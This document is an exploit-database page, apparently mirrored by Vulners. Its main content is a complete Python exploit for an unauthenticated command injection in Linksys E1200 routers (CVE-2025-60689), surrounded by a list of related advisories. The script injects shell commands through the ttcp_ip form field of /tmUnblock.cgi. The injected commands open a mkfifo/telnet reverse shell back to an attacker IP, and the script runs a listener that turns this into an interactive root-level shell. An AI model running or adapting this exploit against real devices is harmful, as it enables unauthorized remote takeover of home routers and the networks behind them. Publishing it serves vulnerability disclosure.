Lucene search
+L

Linksys E1200_2.0.04 - Unauthenticated OS Command Injection

🗓️ 31 Aug 2026 00:00:00Reported by jarrettType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 4 Views

Unauthenticated OS command injection in Linksys E1200 firmware 2.0.04 for remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
The vulnerability of the Start_EPI() function in Linksys E1200 router microprogramming software allows a hacker to execute arbitrary commands.
2 Dec 202500:00
bdu_fstec
circl
Circl
CVE-2025-60689
13 Nov 202516:12
circl
cnnvd
CNNVD
Linksys E1200 安全漏洞
13 Nov 202500:00
cnnvd
cnvd
CNVD
Linksys E1200 Command Injection Vulnerability
18 Nov 202500:00
cnvd
cve
CVE
CVE-2025-60689
13 Nov 202500:00
cve
cvelist
Cvelist
CVE-2025-60689
13 Nov 202500:00
cvelist
euvd
EUVD
EUVD-2025-175299
13 Nov 202518:31
euvd
nvd
NVD
CVE-2025-60689
13 Nov 202516:15
nvd
openvas
OpenVAS
Linksys E1200 Router Firmware <= 2.0.11.001 Multiple Vulnerabilities
8 Dec 202500:00
openvas
osv
OSV
CVE-2025-60689
13 Nov 202516:15
osv
Rows per page
# Exploit Title: Linksys E1200_2.0.04 - Unauthenticated OS Command Injection
# Date: 2026-07-22
# Exploit Author: JarrettgxzSec
# Vendor Homepage: www.linksys.com
# Version: FW <= v2.0.04
# Tested on: v2.0.02 & v2.0.04, directly connected to the LAN
# CVE: CVE-2025-60689

# Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60689


import sys
import socket
import threading
import time

from urllib.parse import quote

if len(sys.argv) < 4:
    print(f"[!] Usage: python3 {sys.argv[0]} <ATTACKER_IP> <TARGET_IP> <TARGET_PORT>")
    print(f"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1 8080")
    sys.exit(1)


ATTACKER_IP = sys.argv[1]
TARGET_IP = sys.argv[2]
TARGET_PORT = sys.argv[3]
SHELL_PORT = 8888


def start_shell_listener():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('0.0.0.0', SHELL_PORT))

        print(f"[*] Listening for shell on port {SHELL_PORT}...")
        s.listen(1)


        conn, addr = s.accept()
        print(f"[+] Connection received from {addr[0]}")


        # allows interactive interaction
        conn.setblocking(True)
        conn.settimeout(0.5)

        while True:

            # send command to the router
            cmd = input("# ")
            conn.send((cmd + "\n").encode())

            # receive output from the router
            try:
                while True:
                    # keep reading until the device stops sending
                    chunk = conn.recv(4096).decode(errors='ignore')

                    if not chunk:
                        print("\n[!] Connection closed by target.")
                        return

                    print(chunk, end="", flush=True)

            # timeout decided by the conn.settimeout() method previously
            except socket.timeout:
                # this is expected when the device is done sending text
                pass


def execute_exploit():
   print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")


   # 1. Build the payload
   payload = "\nrm /tmp/f \n"
   payload += "mkfifo /tmp/f \n"
   payload += "killall httpd && httpd \n"
   payload += f"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f &\n"

   payload = quote(f" {payload}")

   post_data = "submit_button=&"
   post_data += "change_action=&"
   post_data += "submit_type=&"
   post_data += "action=&"
   post_data += "commit=0&"
   post_data += "ttcp_num=&"
   post_data += "ttcp_size=&"
   post_data += f"ttcp_ip={payload}&"
   post_data += "StartEPI=1"
   post_data = post_data.encode()


   # 2. Build the HTTP POST body
   http_req = f"POST /tmUnblock.cgi HTTP/1.1\r\n"
   http_req += f"Host: {TARGET_IP}\r\n"
   http_req += "Content-Type: application/x-www-form-urlencoded\r\n"
   http_req += f"Content-Length: {len(post_data)}\r\n"
   http_req += "Connection: close\r\n"
   http_req += "\r\n"

   http_req = http_req.encode() + post_data

   try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(10)
            s.connect((TARGET_IP, TARGET_PORT))
            s.sendall(http_req)

   except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":

    # start the shell listener in the background
    listener_thread = threading.Thread(target=start_shell_listener)
    listener_thread.daemon = True
    listener_thread.start()

    # short sleep to ensure the listener is bound and ready
    time.sleep(1)

    # execute the exploit function
    execute_exploit()

    # keep main thread alive to interact with the shell
    while listener_thread.is_alive():
        time.sleep(1)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.15.4
EPSS0.0819
SSVC
4